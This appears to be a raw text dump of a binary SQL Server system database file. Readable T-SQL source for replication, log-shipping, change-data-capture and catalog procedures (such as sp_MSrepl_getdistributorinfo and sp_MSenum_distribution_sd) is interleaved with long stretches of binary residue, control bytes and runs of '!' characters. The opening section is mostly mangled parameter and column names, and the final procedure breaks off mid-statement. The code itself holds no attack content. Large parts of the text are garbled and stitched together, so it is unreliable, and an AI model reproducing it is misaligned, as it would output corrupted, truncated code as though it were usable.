A@artid0-mzC@bitmap0-GM@publication0-GE@article0-GhhO@command_only0-GI@publisher0-GO@publisher_db0-GhhA@alter0-GhhI@trig_only0-GhhI@usesqlclr0-\“88
U@current_version0-
E@tabname0-E@colname0-C@action0-88
G@language0-O@type_colname-oS0-oS?@geog0-ۥ88
K@agent_type0-h޲E@objname0-h޲G@objowner0-{i44_resource_semaphore_id0-{iUtarget_memory_kb0-{i]max_target_memory_kb0-{iStotal_memory_kb0-{i[available_memory_kb0-{iWgranted_memory_kb0-{iQused_memory_kb0-{i88
Ograntee_count0-{i	88
Mwaiter_count0-{i
[timeout_error_count0-{iYforced_grant_count0-{i88
Cpool_id0-4dl$$G@agent_id0-4dl00K@agent_type0-4dlS@monitor_server0-4dlhho@monitor_server_security_mode0-4dl88
g@history_retention_period0-4dl==M@curdate_utc0-FdW@capture_instance0-Fdhh_@supports_net_changes0-FdI@role_name0-Q@source_schema0-M@source_name-͝88
0-͝I@nicknames0-͝O@replnickname0-DM@publication0-DE@article0-D88
K@base_objid0-D88
K@join_objid0-D88
M@join_unique0-DhhO@check_filter0-DY@join_filterclause0-*$$A@pubid0-*hhW@drop_publication0-!88
A@objid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u-)		>D0-I88
A@objid0-IE@op_type0-I88
A@artid0-I@E@outvars0-IhhK@queued_pub0-IhhU@identity_insert0-A@query0-W@SelectColumnList0-Q@temptablename0-Q@InsColumnList0-S@LocalTableName0-I@publisher0-G@database0-yM@publication0-yK@subscriber0-yQ@subscriber_db0-y88
U@support_options0-yK@web_server0-y88
O@log_severity0-y88
M@log_modules0-yQ@log_file_path0-y	Q@log_file_name0-y
88
Q@log_file_size0-y88
U@no_of_log_files0-y88
U@upload_interval0-y
88
]@delete_after_upload0-yQ@custom_script0-yU@message_pattern0-yG@agent_xe0-y_@agent_xe_ring_buffer0-yC@sql_xe!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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0-C@vendor0-==_@distributortimestamp0-$$S@publisher_guid0-88
A@objid0-E@postfix0-88
C@indent0-C@ts_col0-E@op_type0-hhC@is_new0-[@primary_key_bitmap0-$4GTYPE_NAME0-$44GDATA_TYPE0-$88
KCOLUMN_SIZE0-$4QLITERAL_PREFIX0-$4QLITERAL_SUFFIX0-$4OCREATE_PARAMS0-$hhKIS_NULLABLE0-$hhQCASE_SENSITIVE0-$	88
ISEARCHABLE0-$
hhYUNSIGNED_ATTRIBUTE0-$hhUFIXED_PREC_SCALE0-$hhWAUTO_UNIQUE_VALUE0-$
4SLOCAL_TYPE_NAME0-$44OMINIMUM_SCALE0-$44OMAXIMUM_SCALE0-$$$=GUID0-$4CTYPELIB0-$@4@CVERSION0-$hhCIS_LONG0-$hhIBEST_MATCH0-$C@server0-$44I@data_type0-$hhK@best_match0-ŠQtransaction_id0-Šetransaction_sequence_num0-Š[commit_sequence_num0-Š88
Isession_id0-ŠhhKis_snapshot0-Škfirst_snapshot_sequence_num0-Š88
kmax_version_chain_traversed0-Š>>5saverage_version_chain_traversed0-Š	]elapsed_time_seconds0-Š
88
Kpdw_node_id0-f$$Oconnection_id0-f$$[transport_stream_id0-f44?state0-fxxIstate_desc0-f==Mconnect_time0-f==Ilogin_time0-f4_authentication_method0-f4Qprincipal_name0-f	4Uremote_user_name0-f
==Ylast_activity_time0-fhhGis_accept0-f44Klogin_state0-f
xxUlogin_state_desc0-f88
[peer_certificate_id0-f44]encryption_algorithm0-fxxgencryption_algorithm_desc0-f44Sreceives_posted0-fhhiis_receive_flow_controlled0-f44Msends_posted0-fhhcis_send_flow_controlled0-fUtotal_bytes_sent0-f]total_bytes_received0-f]total_fragments_sent0-fetotal_fragments_received0-fKtotal_sends0-fQtotal_receives0-f$$[peer_arbitration_id-0-?@geom0-ZR88
Arun_id0-ZR<<?stage0-ZR@@Irequest_id0-ZR  Astatus0-ZR==Istart_time0-ZR==Eend_time0-ZR88
Ytotal_elapsed_time-b88
0-b88
C@number0-b88
A@sh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I@publisher0-O@publisher_db0-	K@subscriber0-
Q@subscriber_db0-ccW@alert_error_text0-.I@publisher0-.O@publisher_db0-.K@subscriber0-.88
K@article_id0-.88
C@status0-.[@subscription_seqno0-.S@destination_db0-7$$Ireplica_id0-7$$Egroup_id0-788
[replica_metadata_id0-74[replica_server_name0-7UUGowner_sid0-74Mendpoint_url0-700Wavailability_mode0-7xxaavailability_mode_desc0-7	00Ofailover_mode0-7
xxYfailover_mode_desc0-788
Ssession_timeout0-700qprimary_role_allow_connections0-7
x4x{primary_role_allow_connections_desc0-700usecondary_role_allow_connections0-7x4xsecondary_role_allow_connections_desc0-7==Kcreate_date0-7==Kmodify_date0-788
Sbackup_priority0-74_read_only_routing_url0-x88
I@src_objid0-x88
A@artid0-*88
Kpdw_node_id0-*88
Gthread_id0-*88
Iprocess_id0-*=name0-*88
Epriority0-*==Istart_time0-*@@?state0-*@@Kwait_reason0-*	mtotal_processor_elapsed_time0-*
ctotal_user_elapsed_time0-54=name0-5Icollisions0-5?spins0-5;;[spins_per_collision0-5Isleep_time0-588
Ebackoffs-
hh0-v	M@publication0-v	88
S@frequency_type0-v	88
[@frequency_interval0-v	88
W@frequency_subday0-v	88
i@frequency_subday_interval0-v	88
m@frequency_relative_interval0-v	88
m@frequency_recurrence_factor0-v	88
Y@active_start_date0-v		88
U@active_end_date0-v	
88
g@active_start_time_of_day0-v	88
c@active_end_time_of_day0-v	Y@snapshot_job_name0-v	
88
e@publisher_security_mode0-v	U@publisher_login0-v	[@publisher_password0-v	I@job_login0-v	O@job_password0-v	I@publisher0-	88
A@artid0-	00C@format0-	00?@mode0-	00Q@publishertype0-	I@publisher0-	hhI@usesqlclr0-all&U@pub_range_begin0-all&Q@pub_range_end0-all&_@pub_next_range_begin0-all&[@pub_next_range_end0-aA@range0-all&G@max_used0-all&M@range_begin0-all&I@range_end!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\HgR/>9v-J
=j%

X


#NC$;
G
	[		`[^}"IZ	o&9`
<
b	%(70pC 8 
-- add it
create view sys.dm_pdw_nodes_exec_procedure_stats as
select *, convert(int, null) pdw_node_id from sys.dm_exec_procedure_stats
0O S8
--
-- Name:
--		sp_MSrepl_getdistributorinfo
--
-- Description:
--		Procedure used to efficiently obtain distributor, distribution database
--              rpc server name, and publisher type.
--
-- Returns:
--		0 == SUCCESS
--		1 == FAILURE
--              Several output parameters
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		This is an internal stored procedure to be used as an alternative
--              to sp_helpdistributor when only basic information about the
--              distributor is desired.  It must be called from a publisher 
--              having an entry in the sysservers table associated
--              with the distributor.  
--

create procedure sys.sp_MSrepl_getdistributorinfo
(
    @distributor    sysname = NULL OUTPUT,
    @distribdb      sysname = NULL OUTPUT,
    @publisher      sysname = NULL,
    @local          nvarchar(5) = NULL,
    @rpcsrvname     sysname = NULL OUTPUT,
    @publisher_type sysname = NULL OUTPUT,
    @publisher_id   int = NULL OUTPUT,
    @working_directory nvarchar(255) = NULL OUTPUT,
    @version int = NULL OUTPUT
) 
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @loc_distributor sysname,
            @loc_distribdb sysname,
            @loc_rpcsrvname sysname,
            @loc_publishertype sysname,
            @loc_publisherid int,
            @proc nvarchar(255),
            @retcode int,
            @srvid smallint,
            @dist_rpcname sysname,
            @loc_working_directory nvarchar(255),
            @loc_version int

    --
    -- Get the distribution server
    --
    SELECT  @dist_rpcname = name,
                @loc_distributor = upper(data_source collate database_default ),
                @srvid = server_id,
                @loc_rpcsrvname = name
    FROM sys.servers
    WHERE is_distributor = 1
    IF (@loc_distributor is null)
        RETURN (1)
    --
    -- set publisher if necessary
    -- process based on where this is invoked
    --
    SELECT @publisher = case when (@publisher IS NULL) then upper(publishingservername()) else upper(@publisher) end
    if @loc_distributor = UPPER(@@servername)
    begin
        --
        -- invoked on distributor
        -- validate the calling publisher
        --
        SELECT @loc_distribdb = msd.distribution_db,
                @loc_publishertype = msd.publisher_type,
                @loc_publisherid = ss.server_id,
                @loc_working_directory = msd.working_directory,
                @loc_version = @@microsoftversion
        FROM msdb.dbo.MSdistpublishers as msd join sys.servers as ss 
            ON msd.name = UPPER(ss.name collate database_default )
                AND msd.name = @publisher
        IF (@@ERROR != 0) -- OR @loc_distribdb IS NULL
            RETURN (1)
    end
    else
    begin
        --
        -- invoked on publisher with remote distributor
        --
        SELECT @proc = @dist_rpcname + N'.master.sys.sp_MSrepl_getdistributorinfo'
        EXECUTE @retcode = @proc @distributor  = @loc_distributor OUTPUT, 
                                 @distribdb      = @loc_distribdb OUTPUT, 
                                 @publisher      = @publisher,
                                 @local          = @local,
                                 @publisher_type = @loc_publishertype OUTPUT,
                                 @publisher_id   = @loc_publisherid OUTPUT,
                                 @working_directory = @loc_working_directory OUTPUT,
                                 @version = @loc_version OUTPUT
        IF @retcode <> 0 or @@ERROR <> 0
        RETURN (1)
    end
    --
    -- Return output parameters
    -- NOTE: For HREPL, treat the RPC name as the same as the distributor name
    -- to avoid using RPC calls for HREPL since all HREPL is local
    --
    SELECT  @distributor = @loc_distributor,
                @distribdb = @loc_distribdb,
                @publisher_type = @loc_publishertype,
                @publisher_id = @loc_publisherid,
                @working_directory = @loc_working_directory,
                @version = @loc_version,
                -- Remote distributor or local with non-sysadmin rights
                @rpcsrvname = @loc_rpcsrvname
    --
    -- BUGBUG : The value for @rpcsrvname must match the value returned
    --  by sp_helpdistributor or we will see indefinite blocking  
    --  in some areas of our code. Example-incremental add article.
    --  So if you make a change here make it in sp_helpdistributor
    --
    -- For the following cases use LOCAL SERVER NAME
    --  1. Hetero will always use local server
    --  2. Local distributor with sysadmin access (used to avoid blocking issues)
    --
    if (@loc_publishertype != N'MSSQLSERVER' 
        OR (IS_SRVROLEMEMBER('sysadmin') = 1 
            AND @loc_distributor = UPPER(@@SERVERNAME)))
    begin
        select @rpcsrvname = name
        from sys.servers
        where UPPER(name collate database_default ) = @loc_distributor
    end
    -- all done
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
	s(<C0
 8CREATE FUNCTION sys.fn_MSsharedversion ( @len_minorversion tinyint = 1 )
    RETURNS NVARCHAR(10)
AS
BEGIN
    
    DECLARE @version VARCHAR(20), @bookmark_begin SMALLINT, @bookmark_end SMALLINT
    DECLARE @tools_ver VARCHAR(20)

    SELECT @version = CONVERT( VARCHAR(20), SERVERPROPERTY( N'PRODUCTVERSION') )
 
     SELECT @bookmark_begin = CHARINDEX( '-', @version, 1) + 1
    SELECT @bookmark_end = CHARINDEX( '.', @version, @bookmark_begin + 3 ) 
    SELECT @version = SUBSTRING( @version, @bookmark_begin, @bookmark_end - @bookmark_begin )

    SELECT @tools_ver = RTRIM(LTRIM(LEFT( @version, CHARINDEX('.', @version, 1) - 1 ) + '0'))

    RETURN @tools_ver

END
0 D88h){#0g h
8create procedure sys.sp_MSproxylogshippingmonitorsecondary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@secondary_server sysname
    ,@secondary_database sysname = NULL
    ,@secondary_id uniqueidentifier
    ,@primary_server sysname = NULL
    ,@monitor_server sysname 
    ,@primary_database sysname = NULL
    ,@restore_threshold int = NULL
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_copied_file nvarchar(500) = NULL
    ,@last_copied_date datetime = NULL
    ,@last_copied_date_utc datetime = NULL
    ,@last_restored_file nvarchar(500) = NULL
    ,@last_restored_date datetime = NULL
    ,@last_restored_date_utc datetime = NULL
    ,@last_restored_latency int = NULL
    ,@history_retention_period int = NULL
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)
    --
    -- should be executed in msdb
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_MSproxylogshippingmonitorsecondary', N'msdb')
        return 1
    end
    -- 
    -- process the monitor record in log_shipping_monitor_secondary on the monitor server 
    --
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorsecondary'
    begin try
        exec @retcode = @linkcmd 
            @mode = @mode
            ,@secondary_server = @secondary_server
            ,@secondary_database = @secondary_database
            ,@secondary_id = @secondary_id
            ,@primary_server = @primary_server
            ,@monitor_server = @monitor_server
            ,@monitor_server_security_mode = 0
            ,@primary_database = @primary_database
            ,@restore_threshold = @restore_threshold
            ,@threshold_alert = @threshold_alert
            ,@threshold_alert_enabled = @threshold_alert_enabled
            ,@last_copied_file = @last_copied_file
            ,@last_copied_date = @last_copied_date
            ,@last_copied_date_utc = @last_copied_date_utc
            ,@last_restored_file = @last_restored_file
            ,@last_restored_date = @last_restored_date
            ,@last_restored_date_utc = @last_restored_date_utc
            ,@last_restored_latency = @last_restored_latency
            ,@history_retention_period = @history_retention_period
    end try
    begin catch
        select @retcode = 1
    end catch
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1u`<	:<0:W 8
create procedure sys.sp_columns_rowset2
(
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_28, -- for backward compatibility
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_28, -- for backward compatibility
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_28,  -- for backward compatibility
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_28,    -- for backward compatibility
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_28,     -- for backward compatibility
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_28,      -- for backward compatibility
        COLLATION_NAME          = s_cv.COLLATION_NAME_28,        -- for backward compatibility
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0" 	8CREATE VIEW sys.dm_hadr_internal_wsfc_ag_replicas AS
	SELECT
		ags.ag_id, reps.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AG_REPLICAS, ags.ag_id) AS reps
0- d8create procedure sys.sp_MScdc_job_security_check
as
begin
    --
    -- Authorization check.
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
    begin
        raiserror(22904, 16, -1)
        return(1)
    end

    --
    -- Has to be executed from cdc enabled db
    --
	if not exists (select * from sys.databases where database_id = db_id() and is_cdc_enabled = 1)
	begin
		declare @db_name sysname
		set @db_name = db_name()
		RAISERROR(22901, 16, -1, @db_name)
		return (1)
	end

    return(0)
end
0c, ~	8
create procedure sys.sp_MSisdynamicfunction @functionname sysname, @isdynamic bit output, @uses_host_name bit output
															, @uses_suser_sname bit output
    as
    begin
    
    declare @function_id int, @retcode int, @name nvarchar(270), @object_id int
    
    select @function_id = object_id(@functionname), @isdynamic = 0
    
    if @function_id is null
		return 1
		
	-- a function is considered dynamic if
	-- (1) it references views. we should really expand the views and see if they have a dynamic function 
	-- hidden somewhere - but this will make the checking code to be too complex. It is easier to assume that
	-- a UDF referencing a view is dynamic. This is an extremely rare case anyway.
	-- (2) it references other functions which are dynamic, or
	-- (3) it has host_name() or suser_sname() or other server built-in functions in its text.

    if exists (select * from sys.objects where object_id in 
				(
				select referenced_major_id
				from sys.sql_dependencies where object_id = @function_id
				and referenced_major_id in (select object_id from sys.objects where type = 'V')
				)
			   )
	begin
		select @isdynamic = 1
		return 0
	end
		
	select top 1 @object_id = object_id, @name = schema_name(schema_id) + '.' + name
	from sys.objects where object_id in 
		(	
		select referenced_major_id
		from sys.sql_dependencies where object_id = @function_id
		and referenced_major_id in (select object_id from sys.objects where type = 'FN')
		)
	order by object_id
	
	while @object_id is not null
	begin
					
		exec @retcode = sys.sp_MSisdynamicfunction @name, @isdynamic output, @uses_host_name output, @uses_suser_sname output
		if @retcode <> 0 or @@error <> 0
			return 1
			
		if @isdynamic = 1
			return 0
	
		select top 1 @object_id = object_id, @name = schema_name(schema_id) + '.' + name
		from sys.objects where object_id in 
			(	
			select referenced_major_id
			from sys.sql_dependencies where object_id = @function_id
			and referenced_major_id in (select object_id from sys.objects where type = 'FN')
			)
		and object_id > @object_id
		order by object_id
	
		if @@rowcount = 0
			select @object_id = NULL
	end
		
	exec @retcode = sys.sp_UDFhas_builtin_functions @functionname, @isdynamic output, @uses_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`
U<o	IG(70͈ /8create procedure sys.sp_MSenum_distribution_sd
(
    @name nvarchar(100),
    @time datetime = NULL
)
as
begin
    set nocount on

    declare @start_time datetime
    declare @time_up datetime
    declare @agent_id int

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    IF @time IS NULL
        select @time = GETDATE()
    
    select @agent_id = id from MSdistribution_agents where
        name = @name

    /*
    ** Minute-approximate @time can be used.
    ** Note: The select only return datetime data with minute precision
    */
    IF  DATEPART(second, @time) = 0 AND
        DATEPART(millisecond, @time) = 0
    BEGIN
        SELECT @time_up = DATEADD(second, +59, @time)
        SELECT @time_up = DATEADD(millisecond, +999, @time)
    END
    ELSE
        SELECT @time_up = @time
        

    select top 1 @start_time = start_time           
         from MSdistribution_history rh with (READPAST) 
        where
        rh.agent_id = @agent_id and
        time <= @time_up
	and comments not like N'<stats state%'	
        order by timestamp DESC

    select  runstatus, 
        'time' = sys.fn_replformatdatetime(time), 
        comments, duration, 
        delivery_rate,
        delivery_latency,
        /* delivery_time */ 0,  
        delivered_transactions, delivered_commands, average_commands, 
        error_id            
        from MSdistribution_history rh with (READPAST) 
        where
        rh.agent_id = @agent_id and
        start_time = @start_time
	and comments not like N'<stats state%'	
	order by timestamp desc
end
0@ 8
CREATE PROCEDURE sys.sp_checkOraclepackageversion
(
    @publisher          sysname,
    @versionsmatch      int OUTPUT,
    @packageversion		nvarchar(256) OUTPUT 
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT,
        @skipSecurityCheck=1
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_checkOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher,
                    @versionsmatch OUTPUT,
                    @packageversion OUTPUT

    RETURN (@retcode)
END
01@ U8create procedure sys.sp_change_log_shipping_secondary_primary 
(
    @primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
    ,@backup_source_directory nvarchar(500) = NULL
    ,@backup_destination_directory nvarchar(500) = NULL
    ,@file_retention_period int = NULL
    ,@monitor_server_security_mode bit = NULL
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_id uniqueidentifier
                ,@monitor_server sysname 
                ,@existing_security_mode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Does the primary exist
    --
    select @secondary_id = secondary_id
            ,@monitor_server = monitor_server
            ,@existing_security_mode = monitor_server_security_mode
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    if (@secondary_id is null)
    begin
        raiserror(32023, 16, 1, @primary_server, @primary_database)
        return 1
    end
    --
    -- refresh monitor link if the monitor credentials are have been specified
    --
    if (upper(@monitor_server) != upper(@@servername) 
        and (@monitor_server_security_mode is not null 
                or @monitor_server_login is not null 
                or @monitor_server_password is not null))
    begin
        --
        -- check if only login credentials have changed
        --
        if (@monitor_server_security_mode is not null)
            select @existing_security_mode = @monitor_server_security_mode 
        --
        -- create link for monitor server
        --
        exec @retcode = msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 1
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @existing_security_mode
                                        ,@monitor_server_login = @monitor_server_login
                                        ,@monitor_server_password = @monitor_server_password
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- start transaction
    --
    begin tran sp_change_ls_sd
    save tran sp_change_ls_sd
    --
    -- update log_shipping_secondary
    --
    update msdb.dbo.log_shipping_secondary 
    set backup_source_directory = case when (@backup_source_directory is null) then backup_source_directory else @backup_source_directory end
         ,backup_destination_directory = case when (@backup_destination_directory is null) then backup_destination_directory else @backup_destination_directory end
